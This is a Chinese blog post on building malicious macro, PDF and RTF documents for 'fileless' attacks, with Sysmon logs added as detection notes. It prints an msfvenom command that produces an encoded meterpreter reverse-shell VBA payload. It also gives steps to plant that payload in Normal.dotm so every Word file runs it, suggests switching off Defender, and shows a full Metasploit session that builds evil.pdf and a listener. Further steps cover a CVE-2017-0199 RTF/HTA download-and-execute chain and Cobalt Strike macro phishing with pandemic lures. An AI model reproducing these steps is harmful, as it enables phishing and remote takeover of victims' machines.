无文件攻击——宏病毒制作

1. 恶意文件形式:基于宏

(1)落地形式

非PE的间接文件:A、基于宏(类型III:Offic文档、PDF文档)

 

在默认的情况下,Word将宏存贮在 Normal模板中,以便所有的Word文档均能使用,这一特点几乎为所有的宏病毒所利用。 如果撰写了有问题的宏,感染了通用模板(Normal.dot),那么只要一执行Word,这个受感染的通用模板便会传播到之后所编辑的文档中去,如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。 这就是我们日常所说的寄存在文档或模板的宏中的计算机宏病毒。==》处置方法:

Word环境中的宏病毒一般是存放在Microsoft Office目录下Templates子目录中的Normal.dot文件中,这时需要重新启动计算机,找到这个文件,并把它删除,再运行Word就可以了。

但是有些宏病毒“知道”用户会找到No rmal.dot并删除掉,所以会在硬盘的多个目录中放上同样的No rmal.dot,如果只删除Templates下的一个,Word会按照Windows缺省的搜索路径进行搜索,这样会加载其他有毒的Normal.dot,并把删除掉的再重新恢复这时,只要使用Windows中查找文件的方法把硬盘中所有的Normal.dot全部删除就可以了。

 

(2)类型介绍

       许多专业安全分析人员通过长期的跟踪分析,确认无文件的攻击其实是包含各种文件的。在这种情况下,攻击者提供恶意文件通常会作为电子邮件附件,用于以下其中一种目的:

a)       恶意文件可以充当其他文件的灵活容器。例如,攻击者可以在Microsoft Office文件中嵌入JavaScript文件,并对收件人进行社会工程攻击,当受害者打开嵌入的文件时,恶意文件就开始执行所带的脚本了。另外,可以携带恶意文件的其他文件类型包括PDF和RTF。由于此功能是特定应用程序才包含的一项功能,因此杀毒软件的技术通常不会干扰这些文件的使用。

b)      恶意文件可以携带执行恶意代码的漏洞:如今的文件功能越来越复杂,不过功能多的同时所包含的攻击面也就增大,比如攻击者可以利用诸如解析漏洞之类的漏洞。在这种情况下,攻击者就可以在受损应用程序的内存中触发捆绑的shellcode,执行攻击,即使不将代码保存到文件系统,攻击者也可以在发起攻击。

c)       文件可以执行传播过程中的恶意逻辑,如今的文件都支持强大的脚本功能,例如Microsoft Office执行VBA宏的功能。这些功能允许攻击者在没有编译可执行文件的情况下实现恶意逻辑,这就是利用了许多杀毒工具在区分恶意脚本和良性脚本方面的弱点。文件脚本功能包括启动程序和下载恶意代码。

(3)实例生成

a)       Word宏病毒制作

MSF生成宏病毒

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=xx.xx.xx.xx lport=4444 -f vba -o 123.vba

 

 

 

创建一个新word,点击菜单栏里的视图,查看宏中新建一个宏名:

 

 

 在这里插入图片描述
注意:宏的位置选项一定要选择最后一项,即文件的本地位置 ==》不是这样的!!!选择最后一个可以,但该病毒只是在打开该word文档生效!!!而如果是选择Normal.dotm则是在打开所有的word文档(即便不是docm格式)都会运行该病毒!

 

 

复制粘贴vba文件代码:

 

 

保存为docm格式文件。就是启用宏的word文档。第一次打开的时候,我的office 365会提示启动宏,需要点击启用,后续打开不会有该提示。

 

 

 

注意:在windows defender里,会有提示:

因此,注意关闭下。

 

 

在msf上开启监听,靶机上点击生成的docm格式文件,成功反弹shell:

 

 

 

sysmon数据采集:

1、office进程创建:

Process Create:
RuleName: -
UtcTime: 2022-05-18 09:57:55.384
ProcessGuid: {d418462b-c323-6284-1b03-000000000900}
ProcessId: 3948
Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
FileVersion: 16.0.15225.20092
Description: Microsoft Word
Product: Microsoft Office
Company: Microsoft Corporation
OriginalFileName: WinWord.exe
CommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\bonel\Desktop\test222.docm" /o ""
CurrentDirectory: C:\Users\bonel\Desktop\
User: DESKTOP-CIBNM6P\bonel
LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000}
LogonId: 0xD8884
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: MD5=FB09D9ACB493256D98D7F598C1D67EE1,SHA256=AB51CD1BD1B1FE640C4E9155B02DC37CF9FD921B916B232E62FCEC0127D37098,IMPHASH=2C007D0D311D8435EC39BA6FB37F6848
ParentProcessGuid: {d418462b-b5e1-6284-8600-000000000900}
ParentProcessId: 4656
ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:\Windows\Explorer.EXE
ParentUser: DESKTOP-CIBNM6P\bonel

 可以看到进程,word文件名!!!

 

 

 

2、注册表设置(信任宏的,可以看到是同一个进程3948干的):

 

 

Registry value set:
RuleName: Context,ProtectedModeExitOrMacrosUsed
EventType: SetValue
UtcTime: 2022-05-18 09:58:00.800
ProcessGuid: {d418462b-c323-6284-1b03-000000000900}
ProcessId: 3948
Image: C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE
TargetObject: HKU\S-1-5-21-3082954643-951221807-432565169-1001\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords\%USERPROFILE%/Desktop/test222.docm
Details: Binary Data
User: DESKTOP-CIBNM6P\bonel

注意:我发现只要使用了Normal.dotm,则sysmon采集的数据没有注册表set那个事件,其他事件倒是没有区别。

Normal宏设置

 

 

3、C2通信:

Network connection detected:
RuleName: -
UtcTime: 2022-05-18 09:58:24.408
ProcessGuid: {d418462b-c323-6284-1b03-000000000900}
ProcessId: 3948
Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
User: DESKTOP-CIBNM6P\bonel
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 192.168.169.156
SourceHostname: DESKTOP-CIBNM6P
SourcePort: 49958
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 192.168.168.96
DestinationHostname: -
DestinationPort: 6666
DestinationPortName: -

 

4、如果远程开启shell,cmd后会有类似下面的日志:cmd的父进程是word。

Process Create:
RuleName: -
UtcTime: 2022-05-18 11:35:32.424
ProcessGuid: {d418462b-da04-6284-d60d-000000000900}
ProcessId: 6248
Image: C:\Windows\SysWOW64\cmd.exe
FileVersion: 10.0.19041.746 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: C:\Windows\SysWOW64\cmd.exe
CurrentDirectory: C:\Users\bonel\Documents\
User: DESKTOP-CIBNM6P\bonel
LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000}
LogonId: 0xD8884
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A
ParentProcessGuid: {d418462b-d9ed-6284-ce0d-000000000900}
ParentProcessId: 3916
ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\bonel\Desktop\test333.docm" /o ""
ParentUser: DESKTOP-CIBNM6P\bonel

 

 当然要注意,office打开后又很多网络通信的东西,比如更新,收费广告啥的一堆乱七八糟的,所以单靠网络通信去检测异常是很难的。

 

综上分析,要检测可疑进程???太绕了。如果是直接写了vba这种,vba的payload提取,AV检测是更好,像微软这样!

 

 

b)      PDF病毒制作

环境:

        攻击机:Kali

        目标操作系统:Windows 10或Windows 7 (关闭防火墙和安全软件)

        目标软件:Adobe Reader 8.1.2 (8.x 9.x 是版本范围)

 

Adobe Reader v8.1.2 简体中文版 - Adobe - cnBeta.COM 2008年2月5日 版本非常老了!所以这个案例的实际意义并不大。。。后面msfconsole里可以看到漏洞日期是2010年

 

生成恶意文件:(红色为指令输入)

msf6 > search adobe_pdf
Matching Modules
================
   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/windows/fileformat/adobe_pdf_embedded_exe       2010-03-29       excellent  No     Adobe PDF Embedded EXE Social Engineering
   1  exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs  2010-03-29       excellent  No     Adobe PDF Escape EXE Social Engineering (No JavaScript)
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs                          
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):
   Name            Current Setting    Required  Description
   ----            ---------------    --------  -----------
   EXENAME                            no        The Name of payload exe.
   FILENAME        evil.pdf           no        The output filename.
   INFILENAME      /usr/share/metasp  yes       The Input PDF filename.
                   loit-framework/da
                   ta/exploits/CVE-2
                   010-1240/template
                   .pdf
   LAUNCH_MESSAGE  To view the encry  no        The message to display in t
                   pted content plea            he File: area
                   se tick the "Do n
                   ot show this mess
                   age again" box an
                   d press Open.
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh,
                                      thread, process, none)
   LHOST     172.16.54.128    yes       The listen address (an interface ma
                                        y be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**
Exploit target:
   Id  Name
   --  ----
   0   Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows
        Vista/7 (English) ==》这个不关键,我win10上也可以!
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > run
[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[+] Parsing Successful. Creating 'evil.pdf' file...
[+] evil.pdf stored at /root/.msf4/local/evil.pdf

开启端口监听
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh,
                                        thread, process, none)
   LHOST                      yes       The listen address (an interface ma
                                        y be specified)
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf6 exploit(multi/handler) > set LHOST 172.16.54.128
LHOST => 172.16.54.128
msf6 exploit(multi/handler) > run

  

打开文件后,即被getshell!

 

pdf打开过程中会提示,

 

然后提示:

 

这玩意已经很明显了,如果用户还点击的话,就真是他傻了。。。

好,我点击了。

看到msf上线。。。

 

 注,pdf打开是空白的。。。

 

数据采集:

1、还是会在pdf里开cmd命令:

Process Create:
RuleName: -
UtcTime: 2022-05-18 12:20:46.123
ProcessGuid: {d418462b-e49e-6284-fa03-000000000900}
ProcessId: 7624
Image: C:\Windows\SysWOW64\cmd.exe
FileVersion: 10.0.19041.746 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: "C:\Windows\System32\cmd.exe" /Q /C %%HOMEDRIVE%%&cd %%HOMEPATH%%&(if exist "Desktop\template.pdf" (cd "Desktop"))&(if exist "My Documents\template.pdf" (cd "My Documents"))&(if exist "Documents\template.pdf" (cd "Documents"))&(if exist "Escritorio\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\template.pdf" (cd "Mis Documentos"))&(start template.pdf)









To view the encrypted content please tick the "Do not show this message again" box and press Open.
CurrentDirectory: c:\windows\system32\
User: DESKTOP-CIBNM6P\bonel
LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000}
LogonId: 0xD8884
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A
ParentProcessGuid: {d418462b-e421-6284-f503-000000000900}
ParentProcessId: 1732
ParentImage: C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
ParentCommandLine: "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "C:\Users\bonel\Desktop\evil.pdf"
ParentUser: DESKTOP-CIBNM6P\bonel

 

 这个cmd的内容就很诡异。。。。

是去start template.pdf

 

2、start template进程:

Process Create:
RuleName: -
UtcTime: 2022-05-18 12:20:46.968
ProcessGuid: {d418462b-e49e-6284-fc03-000000000900}
ProcessId: 3896
Image: C:\Users\bonel\Documents\template.pdf
FileVersion: 2.2.14
Description: ApacheBench command line utility
Product: Apache HTTP Server
Company: Apache Software Foundation
OriginalFileName: ab.exe
CommandLine: template.pdf 
CurrentDirectory: c:\Users\bonel\Documents\
User: DESKTOP-CIBNM6P\bonel
LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000}
LogonId: 0xD8884
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: MD5=0F99094713055AEB2E43B8DE78E76463,SHA256=E82089BBAE0FBE8001D1DD00249E1E1468829D1A08226225FAD8093E9E4651F1,IMPHASH=481F47BBB2C9C21E108D65F52B04C448
ParentProcessGuid: {d418462b-e49e-6284-fa03-000000000900}
ParentProcessId: 7624
ParentImage: C:\Windows\SysWOW64\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\template.pdf" (cd "Desktop"))&(if exist "My Documents\template.pdf" (cd "My Documents"))&(if exist "Documents\template.pdf" (cd "Documents"))&(if exist "Escritorio\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\template.pdf" (cd "Mis Documentos"))&(start template.pdf)









To view the encrypted content please tick the "Do not show this message again" box and press Open.
ParentUser: DESKTOP-CIBNM6P\bonel

 好诡异是不是!!!

3、然后是在template进程里启动c2通信

Network connection detected:
RuleName: Usermode
UtcTime: 2022-05-18 10:42:06.909
ProcessGuid: {d418462b-e49e-6284-fc03-000000000900}
ProcessId: 3896
Image: c:\Users\bonel\Documents\template.pdf
User: DESKTOP-CIBNM6P\bonel
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 192.168.169.156
SourceHostname: DESKTOP-CIBNM6P
SourcePort: 61578
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 192.168.168.96
DestinationHostname: -
DestinationPort: 6666
DestinationPortName: -

 

 所以这个恶意进程链检测倒是可以尝试。。。

 

 

c)       RTF宏病毒制作

不法分子主要利用Office RTF漏洞传播相关后缀名为“.doc”的文件,但实际上这是一个RTF文件。因为Office的兼容性,文件可以正常打开,但在打开过程中存在漏洞。该漏洞可导致木马在不执行宏的情况下从网上下载并运行恶意程序,进而对受害者的电脑进行攻击。

漏洞利用:CVE-2017-0199

攻击载体: Microsoft Office RTF文档

受影响Office版本: Microsoft office 2016、2013、2010、2007。

利用该漏洞的攻击流程:

  攻击方利用Office提供的OLE技术,将包含了恶意链接的URL Moniker(COM对象)嵌入RTF文档中,该恶意链接指向远程服务器中的恶意HTA文件。攻击方利用钓鱼邮件等方式诱使用户保存RTF文档到计算机中并打开,于是URL Moniker使winword.exe向恶意链接指向的地址发出HTTP请求,服务器返回一个带有嵌入式恶意代码的假RTF文件,并在HTTP响应头部添加键值对(Content-Type:application/hta),这使winword.exe以为这是一个HTA文件,于是通过COM对象查找处理hta文件的程序Microsoft HTA(mshta.exe),于是mshta.exe打开这个假RTF文件,自动加载并执行包含PowerShell命令的VB脚本。

样例生成:

首先,创建一个正常的word文档,作为将要链接的rtf对象,如命名为Qianli.docx

 

 

 

然后,将Qianli.docx重命名为Qianli.rtf

放到apache服务器上面:

 

 

 

并创建另一个文档,选择插入->对象->由文件创建,输入rtf文件路径后选择链接到文件。然后将该文件另存为rtf文件,此处命名为exp.rtf

 

 

 

此时,打开exp.rtf可以看到刚刚链接的Qianli.rtf是以一个整体的格式显示。

 

 

 

       这时,我们在服务器端修改Qianli.rtf文件为Visual Script Script代码需要注意反斜杠的转义,这段代码将弹出本地计算器。

 

 

 

       需要改一下Apache的配置,该代码会将该目录下的文件识别为hta脚本,然后重启服务器。

      

 

 

       点击“是”即可弹出计算器

      

       自动执行计算器程序:

 

 

 

       后门准备

 

利用最metasploit生成meterpreter后门,放在与Qianli.rtf相同目录下。

下图,左图寻找相关payload,右图生成:

 

 

 

       修改刚刚的Qianli.rtf,下载文件并执行:

 

 

 

       msf监听本地4444端口,靶机运行rtf文件,即可反弹shell:

      

 

当前检测问题:

在本次word宏病毒与rtf宏病毒试验中,均在底层调用了rundll32

生成的告警也只是溯源到rundll32

并未指明是哪个宏病毒文件,无法进行进一步处理。需要在后面开发中增加该需求

 

 

CobaltStrike 生成office宏病毒进行钓鱼攻击

 

关于WORD宏

在百度百科上有:

宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。如完打开word文件同时要打开某个文件的功能,必须要自己编写一段称之为宏的脚本。具体做法是在“工具”菜单“宏”-“宏”弹出的对话框输入宏名,然后按“创建”按钮会打开visual basic编辑器,你就可以编程了,这个就是宏。学会它会有很多乐趣的。玩过街机模拟器的人肯定有体会,在格斗游戏中,用模拟器来录制宏,以实现一键放绝招。

简单来说WORD宏可以让用户编写VBA脚本来灵活操作WORD,是Office软件设计者为了让人们使用软件进行工作时,避免一再重复相同的动作,而设计出来的一种工具。

宏病毒使用攻击场景:

宏病毒是一种常见的计算机病毒,寄存在文档或模板中,并不会直接感染可执行程序。但是打开携带宏病毒的文档,其中的命令就会被执行,导致文档所在电脑主机被感染。

攻击者编写存在WORD宏病毒的WORD文件 -> 利用社会工程学投递WORD并令对方打开点击启用宏 -> 目标上线

关于如何投递宏文件让目标点击,此涉及到社会工程学。如结合一些时事来进行定向钓鱼攻击,比如结合新冠疫情健康信息等内容的二次交互,导致目标启用宏感染。

CS生成宏病毒

1. 设置监听器

2. 生成宏代码

点击如下

会弹出一个框,详细的列出了如何使用宏的步骤,点击复制宏代码

(1)打开一个空的word或者Excel,在菜单栏选择视图-→>宏→查看宏,

(2)在"宏名"中输入一个名字(任意名字都可以),宏的位置选择最后一个,即当前文档。再点击创建

(3)点击创建后,会打开一个会打开visual basic编辑器。清空编辑器内容,再将cs中复制的宏代码粘贴过去

(4)保存宏文档

点击左上角的保存,然后保存格式设置为启用宏的word文档。一个Word宏病毒文件就做好了。

4. 运行宏文档

将宏文档发给受害者,受害者将其打开。(使用快捷键Alt+F11可以打开vb编辑器,查看宏代码。)若点击了启用内容

主机将上线

查看任务管理器,可以发现恶意进程

参考:CobaltStrike 生成office宏病毒

 
posted @ 2022-05-18 14:20  bonelee  阅读(3084)  评论(0编辑  收藏  举报